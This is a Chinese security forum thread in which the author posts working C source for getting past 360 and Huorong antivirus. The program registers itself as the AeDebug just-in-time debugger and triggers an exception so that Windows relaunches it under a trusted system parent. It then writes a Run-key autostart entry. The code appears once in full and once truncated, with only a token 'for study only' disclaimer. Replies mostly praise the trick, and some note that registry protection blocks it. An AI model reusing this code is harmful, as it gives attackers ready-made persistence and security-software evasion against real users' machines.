首页
社区
课程
招聘
[原创]我洗个澡就绕过了杀软的防护
发表于: 2021-4-25 20:36 19979

[原创]我洗个澡就绕过了杀软的防护

2021-4-25 20:36
19979

2021年4月23日 晴。
结束了这一天的工作,回到酒店准备洗完澡朋友朋友搓两把war3。
洗澡的过程中,蹦出了一个想法:如何优雅简洁地把自身进程变为杀软可信的进程呢?
一直想到洗完澡,突然想到:父进程如果是系统进程比如services.exe csrss.exe之类的不就好了。灵光一闪:即时调试器!如果设置了即时调试器,当程序发生异常后不就会自行启动了!!!
当即我就鸽了朋友开始新建项目。
写好的恶意程序设置为即时调试器时,然后添加自启动。
果然杀软没拦截,而且最顶级的父进程居然是wininit.exe

将恶意进程设为即时调试器,随后触发异常,恶意程序运行。

360安全卫士

火绒

源码仅供学习,不要用做其他用途。
其他用途请自行删删改改。

时间:2021年04月26日10:51
360

火绒

#include<Windows.h>
#include<Winerror.h>
#include"tlhelp32.h"
#include<stdio.h>
#pragma warning(disable:4996)
int pass360 = true;
int SetAeDebug()
{
    HKEY key = { 0 };
    DWORD res = 0;
    char CurrentPath[MAX_PATH] = { 0 };
    char Shell[MAX_PATH] = { 0 };
    char* Debuger = NULL;
    GetModuleFileNameA(0, CurrentPath, MAX_PATH);
    //%ld 是为了接收触发异常的进程pid。最终命令为 CurrentPath -cmd xxx
    Debuger = CurrentPath;
    //360联网的话需要这样做
    if (pass360)
    {
        sprintf(Shell, "reg add \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v wowfk /d \"%s\" /f", CurrentPath);
        Debuger = Shell;
    }
    else
    {
        strncat(CurrentPath, " -cmd %ld", 10);
    }
    res = RegCreateKeyA(HKEY_LOCAL_MACHINE, "SOFTWARE\\WOW6432Node\\Microsoft\\Windows NT\\CurrentVersion\\AeDebug\\", &key);
    if (!res)
    {
        res = RegSetValueExA(key, "Auto", 0, REG_SZ, (CONST BYTE*)"1", 1);
        if (!res)
        {
            res = strnlen(Debuger, MAX_PATH);
            res = RegSetValueExA(key, "Debugger", 0, REG_SZ, (CONST BYTE*)Debuger, res);
            res = res == 0;
        }
        RegCloseKey(key);
    }
    return res;
}
int SetAutoRun()
{
    HKEY key = { 0 };
    DWORD res = 0;
    char CurrentPath[MAX_PATH] = { 0 };
    GetModuleFileNameA(0, CurrentPath, MAX_PATH);
    res = RegCreateKeyA(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", &key);
    if (!res)
    {
        strncat(CurrentPath, " -AutoRun", 9);
        res = strnlen(CurrentPath, MAX_PATH);
        res = RegSetValueExA(key, "wowfk", 0, REG_SZ, (CONST BYTE*)CurrentPath, res);
        res = res == 0;
        RegCloseKey(key);
    }
    return res;
}
int KillExceptProcess(char* strPid)
{
    int pid = 0;
    pid = atoi(strPid);
    int res = 0;
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, pid);
    if (hProcess)
    {
        res=TerminateProcess(hProcess, 0);
        CloseHandle(hProcess);
    }
    return res;
}
int main(int argc,char* argv[])
{
    if (argc==1 && SetAeDebug()==1)
    {
        MessageBoxA(0, "See", "Done", 0);
        _asm int 3
    }
    else if(argc==3 && !pass360)
    {
        //防止二次执行
        if (KillExceptProcess(argv[2]))
        {
            if (SetAutoRun() == 1)
            {
                MessageBoxA(0, "AddAutoRunDone", "AutoRun", 0);
            }
        }
    }
}
#include<Windows.h>
#include<Winerror.h>
#include"tlhelp32.h"
#include<stdio.h>
#pragma warning(disable:4996)
int pass360 = true;
int SetAeDebug()
{
    HKEY key = { 0 };
    DWORD res = 0;
    char CurrentPath[MAX_PATH] = { 0 };
    char Shell[MAX_PATH] = { 0 };
    char* Debuger = NULL;
    GetModuleFileNameA(0, CurrentPath, MAX_PATH);
    //%ld 是为了接收触发异常的进程pid。最终命令为 CurrentPath -cmd xxx
    Debuger = CurrentPath;
    //360联网的话需要这样做
    if (pass360)
    {
        sprintf(Shell, "reg add \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v wowfk /d \"%s\" /f", CurrentPath);
        Debuger = Shell;
    }
    else
    {
        strncat(CurrentPath, " -cmd %ld", 10);
    }
    res = RegCreateKeyA(HKEY_LOCAL_MACHINE, "SOFTWARE\\WOW6432Node\\Microsoft\\Windows NT\\CurrentVersion\\AeDebug\\", &key);
    if (!res)
    {
        res = RegSetValueExA(key, "Auto", 0, REG_SZ, (CONST BYTE*)"1", 1);
        if (!res)
        {
            res = strnlen(Debuger, MAX_PATH);
            res = RegSetValueExA(key, "Debugger", 0, REG_SZ, (CONST BYTE*)Debuger, res);
            res = res == 0;
        }
        RegCloseKey(key);
    }
    return res;
}
int SetAutoRun()
{

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2021-4-26 10:51 被零加一编辑 ,原因:
收藏
免费 19
支持
分享
最新回复 (38)
雪    币: 10868
活跃值: (14664)
能力值: ( LV13,RANK:400 )
在线值:
发帖
回帖
粉丝
2
太强了
2021-4-25 20:38
0
雪    币: 1012
活跃值: (672)
能力值: ( LV9,RANK:181 )
在线值:
发帖
回帖
粉丝
3
太强了
2021-4-25 20:39
0
雪    币: 2155
活跃值: (2587)
能力值: ( LV12,RANK:667 )
在线值:
发帖
回帖
粉丝
4
太强了
2021-4-25 20:41
0
雪    币: 1278
活跃值: (1265)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
5
提供了一个思路。。
2021-4-25 21:04
0
雪    币: 14517
活跃值: (17538)
能力值: ( LV12,RANK:290 )
在线值:
发帖
回帖
粉丝
6
感谢分享,建议996的公司再自己公司内修建澡堂
2021-4-25 21:23
1
雪    币: 2040
活跃值: (4950)
能力值: ( LV13,RANK:278 )
在线值:
发帖
回帖
粉丝
7
pureGavin 感谢分享,建议996的公司再自己公司内修建澡堂
您也是有资本家的潜质!!!杀手已经派了
2021-4-25 22:25
1
雪    币: 2466
活跃值: (4561)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
好思路,学到了
2021-4-25 22:29
0
雪    币: 12352
活跃值: (5869)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
9
666
2021-4-26 00:07
0
雪    币: 123
活跃值: (316)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
妙啊
2021-4-26 00:18
0
雪    币: 2
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
11
什么牌子的沐浴露和洗发膏,我觉得教程帖里不能少了这样的东西。
2021-4-26 05:57
1
雪    币: 864
活跃值: (5124)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
电竞酒店吗
2021-4-26 09:01
0
雪    币: 120
活跃值: (1597)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
大佬牛逼
2021-4-26 09:06
0
雪    币: 9934
活跃值: (2554)
能力值: ( LV6,RANK:87 )
在线值:
发帖
回帖
粉丝
14
即时调试器。。。
不会跟源哥有关吧
2021-4-26 09:25
0
雪    币: 1856
活跃值: (1221)
能力值: ( LV5,RANK:75 )
在线值:
发帖
回帖
粉丝
15
太强了
2021-4-26 09:32
0
雪    币: 4734
活跃值: (4281)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
16
哦太骚了这脑回路
2021-4-26 09:42
0
雪    币: 7373
活跃值: (4075)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
17
学到了一招
2021-4-26 09:47
0
雪    币: 14846
活跃值: (6078)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
18

程序是运行了,是因为程序没有恶意行为?杀软不可能凭文件名来判断是否是恶意程序,而是根据运行过程的行为来拦截。首先你在程序中修改注册表变成即时调试器的代码就会被杀软拦截并提示;其次,如果在程序中修改或删除文件,杀软同样会拦截并提示的.

最后于 2021-4-26 10:11 被tDasm编辑 ,原因:
2021-4-26 10:00
0
雪    币: 35
活跃值: (612)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
19

修改注册表 都提示了.

上传的附件:
2021-4-26 10:07
0
雪    币: 2040
活跃值: (4950)
能力值: ( LV13,RANK:278 )
在线值:
发帖
回帖
粉丝
20
guotouck 修改注册表 都提示了.
可能我的火绒比较拉
2021-4-26 10:17
0
雪    币: 364
活跃值: (514)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
21
零加一 [em_85]您也是有资本家的潜质!!!杀手已经派了
狙击手已就位,等钱到账
2021-4-26 10:24
0
雪    币: 2337
活跃值: (3059)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
22
记得去年可以用反向创建注册表符号链接绕过360注册表防护创建自启动
2021-4-26 10:24
0
雪    币: 2040
活跃值: (4950)
能力值: ( LV13,RANK:278 )
在线值:
发帖
回帖
粉丝
23
tDasm 程序是运行了,是因为程序没有恶意行为?杀软不可能凭文件名来判断是否是恶意程序,而是根据运行过程的行为来拦截。首先你在程序中修改注册表变成即时调试器的代码就会被杀软拦截并提示;其次,如果在程序中修改或删 ...
刚刚测试360确实提示了,但是换一换就又不提示了,自行发掘。
2021-4-26 10:30
0
雪    币: 364
活跃值: (514)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
24

散会了,打开“注册表防护”可拦

2021-4-26 10:49
0
雪    币: 2040
活跃值: (4950)
能力值: ( LV13,RANK:278 )
在线值:
发帖
回帖
粉丝
25
沉疴 散会了,打开“注册表防护”可拦
就有啥吃啥呗
2021-4-26 10:54
0
游客
登录 | 注册 方可回帖
返回
//